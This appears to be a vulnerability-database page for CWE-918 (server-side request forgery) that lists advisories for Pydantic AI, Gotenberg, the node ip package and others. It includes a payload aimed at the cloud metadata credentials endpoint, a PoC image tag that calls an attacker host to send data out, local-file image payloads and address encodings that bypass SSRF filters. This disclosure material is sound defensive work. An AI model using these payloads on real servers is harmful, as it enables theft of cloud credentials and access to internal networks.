Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4863 vulnerabilities reference this CWE, most recent first.

GHSA-2JRP-274C-JHV3

Vulnerability from github – Published: 2026-02-06 18:32 – Updated: 2026-02-06 21:42
VLAI
Summary
Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI's URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.

This vulnerability only affects applications that accept message history from external users, such as those using: - Agent.to_web or clai web to serve a chat interface - VercelAIAdapter for Vercel AI SDK integration - AGUIAdapter or Agent.to_ag_ui for AG-UI protocol integration - Custom APIs that accept message history from user input

Applications that only use hardcoded or developer-controlled URLs are not affected.

Description

The download_item() helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:

  1. Access internal services: Request http://127.0.0.1, localhost, or private IP ranges (10.x.x.x, 172.16.x.x, 192.168.x.x)
  2. Steal cloud credentials: Access cloud metadata endpoints (AWS IMDSv1 at 169.254.169.254, GCP, Azure, Alibaba Cloud)
  3. Scan internal networks: Enumerate internal hosts and ports

Who Is Affected

You are affected if your application:

  1. Uses Agent.to_web or clai web - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.

  2. Uses VercelAIAdapter - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.

  3. Uses AGUIAdapter or Agent.to_ag_ui - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.

  4. Exposes a custom API accepting message history - Any endpoint that accepts message history or ImageUrl, AudioUrl, VideoUrl, DocumentUrl objects from user input.

Attack Scenario

Via chat interface, an attacker submits a message with a file attachment pointing to an internal resource:

{
  "role": "user",
  "parts": [
    {"type": "file", "mediaType": "image/png", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
  ]
}

Affected Model Integrations

Multiple model integrations download URL content in certain conditions:

Provider Downloaded Types
OpenAIChatModel AudioUrl, DocumentUrl
AnthropicModel DocumentUrl (text/plain)
GoogleModel (GLA) All URL types (except YouTube and Files API URLs)
XaiModel DocumentUrl
BedrockConverseModel ImageUrl, DocumentUrl, VideoUrl (non-S3 URLs)
OpenRouterModel AudioUrl

Remediation

Upgrade to Patched Version

Upgrade to the patched version or later. The fix adds comprehensive SSRF protection:

  • Blocks private/internal IP addresses by default
  • Always blocks cloud metadata endpoints (even with allow-local)
  • Only allows http:// and https:// protocols
  • Resolves hostnames before requests to prevent DNS rebinding
  • Validates each redirect target

New force_download='allow-local' Option

If an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:

from pydantic_ai import ImageUrl

# Default behavior: private IPs are blocked
ImageUrl(url="http://internal-service/image.png")  # Raises ValueError

# Opt-in to allow local access (use with caution)
ImageUrl(url="http://internal-service/image.png", force_download='allow-local')

Important: Cloud metadata endpoints (169.254.169.254, fd00:ec2::254, 100.100.100.200) are always blocked, even with allow-local.

Workaround for Older Versions

If a project cannot upgrade immediately, use a history processor to filter out URLs targeting local/private addresses:

import ipaddress
import socket
from urllib.parse import urlparse

from pydantic_ai import Agent, ModelMessage, ModelRequest
from pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl

def is_private_url(url: str) -> bool:
    """Check if a URL targets a private/internal IP address."""
    try:
        parsed = urlparse(url)
        hostname = parsed.hostname
        if not hostname:
            return True  # Invalid URL, block it

        # Resolve hostname to IP
        ip_str = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(ip_str)

        # Block private, loopback, and link-local addresses
        return ip.is_private or ip.is_loopback or ip.is_link_local
    except (socket.gaierror, ValueError):
        return True  # DNS resolution failed, block it

def filter_private_urls(messages: list[ModelMessage]) -> list[ModelMessage]:
    """Remove URL parts that target private/internal addresses."""
    url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)
    filtered = []
    for msg in messages:
        if isinstance(msg, ModelRequest):
            safe_parts = [
                part for part in msg.parts
                if not (isinstance(part, url_types) and is_private_url(part.url))
            ]
            if safe_parts:
                filtered.append(ModelRequest(parts=safe_parts))
        else:
            filtered.append(msg)
    return filtered

# Apply the filter to your agent
agent = Agent('openai:gpt-5', history_processors=[filter_private_urls])

Technical Details of the Fix

The fix introduces a new _ssrf.py module with comprehensive protection:

  1. Protocol validation: Only http:// and https:// allowed
  2. DNS resolution before request: Prevents DNS rebinding attacks
  3. Private IP blocking (by default):
  4. 127.0.0.0/8, ::1/128 (loopback)
  5. 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 (private)
  6. 169.254.0.0/16, fe80::/10 (link-local)
  7. 100.64.0.0/10 (CGNAT)
  8. fc00::/7 (unique local)
  9. 2002::/16 (6to4, can embed private IPv4)
  10. Cloud metadata always blocked: 169.254.169.254, fd00:ec2::254, 100.100.100.200
  11. Safe redirect handling: Each redirect validated before following (max 10)
Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.26"
            },
            {
              "fixed": "1.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pydantic-ai-slim"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.0.26"
            },
            {
              "fixed": "1.56.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-06T18:32:39Z",
    "nvd_published_at": "2026-02-06T21:16:17Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in Pydantic AI\u0027s URL download functionality. When applications accept message history from untrusted sources, attackers can include malicious URLs that cause the server to make HTTP requests to internal network resources, potentially accessing internal services or cloud credentials.\n\n**This vulnerability only affects applications that accept message history from external users**, such as those using:\n- **`Agent.to_web`** or **`clai web`** to serve a chat interface\n- **`VercelAIAdapter`** for Vercel AI SDK integration\n- **`AGUIAdapter`** or **`Agent.to_ag_ui`** for AG-UI protocol integration\n- Custom APIs that accept message history from user input\n\nApplications that only use hardcoded or developer-controlled URLs are not affected.\n\n### Description\n\nThe `download_item()` helper function downloads content from URLs without validating that the target is a public internet address. When user-supplied message history contains URLs, attackers can:\n\n1. **Access internal services**: Request `http://127.0.0.1`, `localhost`, or private IP ranges (`10.x.x.x`, `172.16.x.x`, `192.168.x.x`)\n2. **Steal cloud credentials**: Access cloud metadata endpoints (AWS IMDSv1 at `169.254.169.254`, GCP, Azure, Alibaba Cloud)\n3. **Scan internal networks**: Enumerate internal hosts and ports\n\n### Who Is Affected\n\nYou are affected if your application:\n\n1. **Uses `Agent.to_web` or `clai web`** - The web interface accepts file attachments via the Vercel AI Data Stream Protocol, where users can provide arbitrary URLs through chat messages.\n\n2. **Uses `VercelAIAdapter`** - Chat interfaces built with Vercel AI SDK allow users to submit messages containing URLs that are processed server-side.\n\n3. **Uses `AGUIAdapter` or `Agent.to_ag_ui`** - The AG-UI protocol allows users to provide file references with URLs as part of agent interactions.\n\n4. **Exposes a custom API accepting message history** - Any endpoint that accepts message history or `ImageUrl`, `AudioUrl`, `VideoUrl`, `DocumentUrl` objects from user input.\n\n### Attack Scenario\n\nVia chat interface, an attacker submits a message with a file attachment pointing to an internal resource:\n```json\n{\n  \"role\": \"user\",\n  \"parts\": [\n    {\"type\": \"file\", \"mediaType\": \"image/png\", \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"}\n  ]\n}\n```\n\n### Affected Model Integrations\n\nMultiple model integrations download URL content in certain conditions:\n\n| Provider | Downloaded Types |\n|----------|------------------|\n| `OpenAIChatModel` | `AudioUrl`, `DocumentUrl` |\n| `AnthropicModel` | `DocumentUrl` (`text/plain`) |\n| `GoogleModel` (GLA) | All URL types (except YouTube and Files API URLs) |\n| `XaiModel` | `DocumentUrl` |\n| `BedrockConverseModel` | `ImageUrl`, `DocumentUrl`, `VideoUrl` (non-S3 URLs) |\n| `OpenRouterModel` | `AudioUrl` |\n\n## Remediation\n\n### Upgrade to Patched Version\n\n**Upgrade** to the patched version or later. The fix adds comprehensive SSRF protection:\n\n- Blocks private/internal IP addresses by default\n- Always blocks cloud metadata endpoints (even with `allow-local`)\n- Only allows `http://` and `https://` protocols\n- Resolves hostnames before requests to prevent DNS rebinding\n- Validates each redirect target\n\n### New `force_download=\u0027allow-local\u0027` Option\n\nIf an application legitimately needs to access local/private network resources (e.g., in a fully trusted internal environment), it can explicitly opt in:\n\n```python\nfrom pydantic_ai import ImageUrl\n\n# Default behavior: private IPs are blocked\nImageUrl(url=\"http://internal-service/image.png\")  # Raises ValueError\n\n# Opt-in to allow local access (use with caution)\nImageUrl(url=\"http://internal-service/image.png\", force_download=\u0027allow-local\u0027)\n```\n\n**Important**: Cloud metadata endpoints (`169.254.169.254`, `fd00:ec2::254`, `100.100.100.200`) are **always blocked**, even with `allow-local`.\n\n### Workaround for Older Versions\n\nIf a project cannot upgrade immediately, use a [history processor](https://ai.pydantic.dev/message-history/#processing-message-history) to filter out URLs targeting local/private addresses:\n\n```python\nimport ipaddress\nimport socket\nfrom urllib.parse import urlparse\n\nfrom pydantic_ai import Agent, ModelMessage, ModelRequest\nfrom pydantic_ai.messages import AudioUrl, DocumentUrl, ImageUrl, VideoUrl\n\ndef is_private_url(url: str) -\u003e bool:\n    \"\"\"Check if a URL targets a private/internal IP address.\"\"\"\n    try:\n        parsed = urlparse(url)\n        hostname = parsed.hostname\n        if not hostname:\n            return True  # Invalid URL, block it\n\n        # Resolve hostname to IP\n        ip_str = socket.gethostbyname(hostname)\n        ip = ipaddress.ip_address(ip_str)\n\n        # Block private, loopback, and link-local addresses\n        return ip.is_private or ip.is_loopback or ip.is_link_local\n    except (socket.gaierror, ValueError):\n        return True  # DNS resolution failed, block it\n\ndef filter_private_urls(messages: list[ModelMessage]) -\u003e list[ModelMessage]:\n    \"\"\"Remove URL parts that target private/internal addresses.\"\"\"\n    url_types = (ImageUrl, AudioUrl, VideoUrl, DocumentUrl)\n    filtered = []\n    for msg in messages:\n        if isinstance(msg, ModelRequest):\n            safe_parts = [\n                part for part in msg.parts\n                if not (isinstance(part, url_types) and is_private_url(part.url))\n            ]\n            if safe_parts:\n                filtered.append(ModelRequest(parts=safe_parts))\n        else:\n            filtered.append(msg)\n    return filtered\n\n# Apply the filter to your agent\nagent = Agent(\u0027openai:gpt-5\u0027, history_processors=[filter_private_urls])\n```\n\n## Technical Details of the Fix\n\nThe fix introduces a new `_ssrf.py` module with comprehensive protection:\n\n1. **Protocol validation**: Only `http://` and `https://` allowed\n2. **DNS resolution before request**: Prevents DNS rebinding attacks\n3. **Private IP blocking** (by default):\n   - `127.0.0.0/8`, `::1/128` (loopback)\n   - `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` (private)\n   - `169.254.0.0/16`, `fe80::/10` (link-local)\n   - `100.64.0.0/10` (CGNAT)\n   - `fc00::/7` (unique local)\n   - `2002::/16` (6to4, can embed private IPv4)\n4. **Cloud metadata always blocked**: `169.254.169.254`, `fd00:ec2::254`, `100.100.100.200`\n5. **Safe redirect handling**: Each redirect validated before following (max 10)",
  "id": "GHSA-2jrp-274c-jhv3",
  "modified": "2026-02-06T21:42:27Z",
  "published": "2026-02-06T18:32:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/security/advisories/GHSA-2jrp-274c-jhv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25580"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pydantic/pydantic-ai/commit/d398bc9d39aecca6530fa7486a410d5cce936301"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pydantic/pydantic-ai"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Pydantic AI has Server-Side Request Forgery (SSRF) in URL Download Handling"
}

GHSA-2M3M-F775-94XC

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194593.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-20343"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-02T21:15:00Z",
    "severity": "MODERATE"
  },
  "details": "IBM Jazz Foundation and IBM Engineering products are vulnerable to server-side request forgery (SSRF). This may allow an authenticated attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks. IBM X-Force ID: 194593.",
  "id": "GHSA-2m3m-f775-94xc",
  "modified": "2022-05-24T19:03:50Z",
  "published": "2022-05-24T19:03:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20343"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/194593"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/6457739"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2M96-FXJ3-H8FG

Vulnerability from github – Published: 2023-01-20 09:30 – Updated: 2023-01-26 21:30
VLAI
Details

A vulnerability in Cisco TelePresence CE and RoomOS Software could allow an authenticated, local attacker to bypass access controls and conduct an SSRF attack through an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to a user of the web application. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected system.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-20002"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-20T07:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in Cisco TelePresence CE and RoomOS Software could allow an authenticated, local attacker to bypass access controls and conduct an SSRF attack through an affected device. This vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending a crafted request to a user of the web application. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected system.",
  "id": "GHSA-2m96-fxj3-h8fg",
  "modified": "2023-01-26T21:30:31Z",
  "published": "2023-01-20T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20002"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-roomos-dkjGFgRK"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2MFJ-G9QP-83P8

Vulnerability from github – Published: 2024-10-08 18:33 – Updated: 2024-10-08 18:33
VLAI
Details

Server-side request forgery in Ivanti Avalanche before version 6.4.5 allows a remote unauthenticated attacker to leak sensitive information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T17:15:54Z",
    "severity": "HIGH"
  },
  "details": "Server-side request forgery in Ivanti Avalanche before version 6.4.5 allows a remote unauthenticated attacker to leak sensitive information.",
  "id": "GHSA-2mfj-g9qp-83p8",
  "modified": "2024-10-08T18:33:13Z",
  "published": "2024-10-08T18:33:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47008"
    },
    {
      "type": "WEB",
      "url": "https://forums.ivanti.com/s/article/Ivanti-Avalanche-6-4-5-Security-Advisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2MJF-PM92-FG8H

Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08
VLAI
Details

Siren Investigate before 11.1.1 contains a server side request forgery (SSRF) defect in the built-in image proxy route (which is enabled by default). An attacker with access to the Investigate installation can specify an arbitrary URL in the parameters of the image proxy route and fetch external URLs as the Investigate process on the host.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-31216"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-07-19T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "Siren Investigate before 11.1.1 contains a server side request forgery (SSRF) defect in the built-in image proxy route (which is enabled by default). An attacker with access to the Investigate installation can specify an arbitrary URL in the parameters of the image proxy route and fetch external URLs as the Investigate process on the host.",
  "id": "GHSA-2mjf-pm92-fg8h",
  "modified": "2022-05-24T19:08:23Z",
  "published": "2022-05-24T19:08:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-31216"
    },
    {
      "type": "WEB",
      "url": "https://community.siren.io/c/announcements"
    },
    {
      "type": "WEB",
      "url": "https://docs.siren.io/siren-platform-user-guide/11.1/release-notes.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-2MQ5-FR5W-RR29

Vulnerability from github – Published: 2026-03-26 21:31 – Updated: 2026-03-30 15:31
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenID Connect / OAuth client allows Server Side Request Forgery.This issue affects OpenID Connect / OAuth client: from 0.0.0 before 1.5.0.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-3530"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-26T21:17:09Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Drupal OpenID Connect / OAuth client allows Server Side Request Forgery.This issue affects OpenID Connect / OAuth client: from 0.0.0 before 1.5.0.",
  "id": "GHSA-2mq5-fr5w-rr29",
  "modified": "2026-03-30T15:31:51Z",
  "published": "2026-03-26T21:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3530"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2026-025"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2MRG-35HW-X3X9

Vulnerability from github – Published: 2026-06-18 13:04 – Updated: 2026-06-18 13:04
VLAI
Summary
Gotenberg: SSRF via LibreOffice document processing
Details

Summary

Server-Side Request Forgery (SSRF) vulnerability affecting the /forms/libreoffice/convert endpoint in Gotenberg v8.33.0 running with the default configuration.

By uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.

Additionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.

PoC

External Resource Retrieval

Create a DOCX document containing the following content:

<img src="http://[ATTACKER_HOST]:[PORT]/path?query=somedata">

Upload the document to the /forms/libreoffice/convertendpoint.

During document processing, LibreOffice automatically retrieves the referenced external resource.

An outbound request can be observed on Burp Collaborator:

GET /secretendpoint?query=hacked HTTP/1.1
Host: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com
User-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd

Local Resource Retrieval

Create a DOCX document containing the following content:

<img src="/path/to/image.png">

Upload the document to the /forms/libreoffice/convertendpoint.

During document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.

Result in output document (used payload - <img src="/usr/share/pixmaps/debian-logo.png">):

result

Impact

The identified vulnerability enables two primary attack vectors:

Blind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.

Local File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.

Notes

The issue was reproduced on Gotenberg v8.33.0 under the default configuration.

Given the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.34.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-18T13:04:54Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "**Summary**\n\n Server-Side Request Forgery (SSRF) vulnerability affecting the `/forms/libreoffice/convert` endpoint in Gotenberg v8.33.0 running with the default configuration.\n\nBy uploading a specially crafted DOCX document, an attacker can cause LibreOffice to automatically retrieve external resources during document conversion. As a result, outbound requests are made from the server hosting Gotenberg to attacker-controlled destinations.\n\nAdditionally, the same document mechanism appears capable of referencing image resources from the local filesystem. During conversion, LibreOffice attempts to load those resources and embed them into the resulting document.\n\n**PoC**\n\n**External Resource Retrieval**\n\nCreate a DOCX document containing the following content:\n\n`\u003cimg src=\"http://[ATTACKER_HOST]:[PORT]/path?query=somedata\"\u003e`\n\nUpload the document to the `/forms/libreoffice/convert `endpoint.\n\nDuring document processing, LibreOffice automatically retrieves the referenced external resource.\n\nAn outbound request can be observed on Burp Collaborator:\n\n```\nGET /secretendpoint?query=hacked HTTP/1.1\nHost: gotenbergssrf.3cguefu7x55rg8z13mzu08i45vbmzcn1.oastify.com\nUser-Agent: LibreOffice 26.2.3.2 denylistedbackend/8.20.0 OpenSSL/3.5.6\nAccept: */*\nAccept-Encoding: deflate, gzip, br, zstd\n```\n\n**Local Resource Retrieval**\n\nCreate a DOCX document containing the following content:\n\n`\u003cimg src=\"/path/to/image.png\"\u003e`\n\nUpload the document to the `/forms/libreoffice/convert `endpoint.\n\nDuring document conversion, LibreOffice loads the referenced image from the local filesystem and embeds it into the generated output document.\n\nResult in output document (used payload - `\u003cimg src=\"/usr/share/pixmaps/debian-logo.png\"\u003e`):\n\n\u003cimg width=\"1346\" height=\"397\" alt=\"result\" src=\"https://github.com/user-attachments/assets/52e18316-6654-4341-82e8-14df6c1d7d5e\" /\u003e\n\n\n**Impact**\n\nThe identified vulnerability enables two primary attack vectors:\n\nBlind SSRF: The conversion service allows arbitrary outbound HTTP(S) requests during document processing. Although response bodies are not returned to the user, this can be leveraged for internal network discovery and interaction with services accessible only from the internal network or relying on network-level trust assumptions.\n\nLocal File Disclosure via Image Resource Loading: The conversion engine allows local filesystem resources to be accessed during document rendering when referenced as image sources in the uploaded document. By specifying local file paths in image tags, LibreOffice resolves and embeds the referenced image content into the generated output document. This behavior is limited to resources loadable as images during document conversion, rather than general file read primitives, but may still allow retrieval of sensitive files accessible to the LibreOffice process.\n\n**Notes**\n\nThe issue was reproduced on Gotenberg v8.33.0 under the default configuration.\n\nGiven the impact of arbitrary outbound HTTP(S) requests (SSRF) and limited local filesystem resource disclosure via image resource loading during document conversion, this issue may warrant a CVE assignment.",
  "id": "GHSA-2mrg-35hw-x3x9",
  "modified": "2026-06-18T13:04:54Z",
  "published": "2026-06-18T13:04:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2mrg-35hw-x3x9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg: SSRF via LibreOffice document processing"
}

GHSA-2P28-95F5-Q8Q3

Vulnerability from github – Published: 2026-04-28 21:36 – Updated: 2026-04-28 21:36
VLAI
Details

NVIDIA NemoClaw contains a vulnerability in the validateEndpointUrl() SSRF protection component, where an attacker could cause a server-side request forgery by supplying a crafted endpoint URL referencing the 0.0.0.0/8 address range through a blueprint configuration file or CLI flag. A successful exploit of this vulnerability may lead to information disclosure.

Severity
6.3 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-28T19:36:45Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA NemoClaw contains a vulnerability in the validateEndpointUrl() SSRF protection component, where an attacker could cause a server-side request forgery by supplying a crafted endpoint URL referencing the 0.0.0.0/8 address range through a blueprint configuration file or CLI flag. A successful exploit of this vulnerability may lead to information disclosure.",
  "id": "GHSA-2p28-95f5-q8q3",
  "modified": "2026-04-28T21:36:12Z",
  "published": "2026-04-28T21:36:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24231"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5837"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24231"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2P57-RM9W-GVFP

Vulnerability from github – Published: 2024-06-02 22:29 – Updated: 2025-01-17 21:31
VLAI
Summary
ip SSRF improper categorization in isPublic
Details

The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-02T22:29:29Z",
    "nvd_published_at": "2024-05-27T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.",
  "id": "GHSA-2p57-rm9w-gvfp",
  "modified": "2025-01-17T21:31:38Z",
  "published": "2024-06-02T22:29:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29415"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/issues/150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/pull/143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/pull/144"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/indutny/node-ip"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250117-0010"
    }
  ],
